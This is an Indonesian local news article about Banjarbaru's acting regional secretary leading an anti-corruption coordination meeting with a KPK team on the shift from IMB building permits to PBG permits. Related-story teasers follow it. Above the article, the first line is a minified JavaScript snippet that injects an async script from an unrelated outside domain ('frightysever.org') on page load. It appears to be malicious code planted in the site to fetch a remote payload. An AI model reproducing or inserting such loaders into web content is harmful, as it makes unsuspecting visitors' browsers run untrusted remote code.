(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Masuk kerja hari pertama setelah dilantik, Penjabat (Pj) Sekretaris Daerah (Sekda) Kota Banjarbaru Dra Nurliani MAp langsung pimpin rapat koordinasi (Rakor), Jumat (2/8/2024) pagi.
Pj Sekda Banjarbaru memimpin Rakor pencegahan korupsi sektor perizinan lingkup Pemerintah Kota Banjarbaru, di aula Nadjmi Adhani Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu (DPMPTSP) Banjarbaru.
Rakor dihadiri Kepala Satuan Tugas Direktorat Koordinasi dan Supervisi (Dit Korsup) Wilayah III KPK RI Maruli Tua Manurung beserta tim membahas terkait perubahan Izin Mendirikan Bangunan (IMB) sesuai Undang-Undang Nomor 28 tahun 2002 tentang Bangunan Gedung (BG) menjadi Persetujuan Bangunan Gedung (PBG) berdasarkan Peraturan Pemerintah (PP) Nomor 16 tahun 2021.
“Ini adalah langkah penting dalam regulasi perizinan bangunan di Indonesia. Perubahan nama mencerminkan fokus perizinan yang lebih komprehensif dan terinci terkait bangunan gedung,” ujar Nurliani saat membuka rakor.
Baca juga: Bolak-balik Pelabuhan Trisakti Tunggu Penumpang dan Kru KM Niki Sejahtera yang Terbakar
Pj Sekda Banjarbaru mengatakan, PBG mencakup peran yang lebih luas, meliputi perizinan untuk konstruksi, penggunaan, pemeliharaan, dan pembongkaran bangunan gedung.
“PBG menghadirkan standar teknis yang lebih ketat dan rinci daripada IMB. Mencakup berbagai aspek perencanaan, pelaksanaan konstruksi, pengawasan, pemanfaatan, dan pembongkaran bangunan,” jelas Nurliani.
Standar dalam PBG berfungsi untuk memastikan keamanan, kenyamanan, dan kepatuhan terhadap peraturan dalam dunia konstruksi.
Baca juga: Target Rp7,7 Miliar, Kantor UPT Pajak Daerah Wilayah I Pakai Gedung Eks Puskesmas
“Hasil dari rapat koordinasi ini dapat kita gunakan sebagai strategi penyusunan rencana aksi dan pengambilan keputusan kebijakan ke arah yang lebih baik, terutama kepada masyarakat sebagai penerima manfaat kebijakan pemerintah,” cetusnya.
Dia mengingatkan seluruh jajaran di lingkup Pemerintah Kota Banjarbaru yang berkaitan dengan PBG memahami tugas dan fungsi masing-masing. Mengetahui tentang dinamika pemerintahan dan pembangunan dalam rangka pembinaan, pengawasan, penyelarasan perencanaan dan tugas-tugas lainnya. “Semua hasil komitmen bersama ini dapat ditindaklanjuti secara baik dan nyata,” tandasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.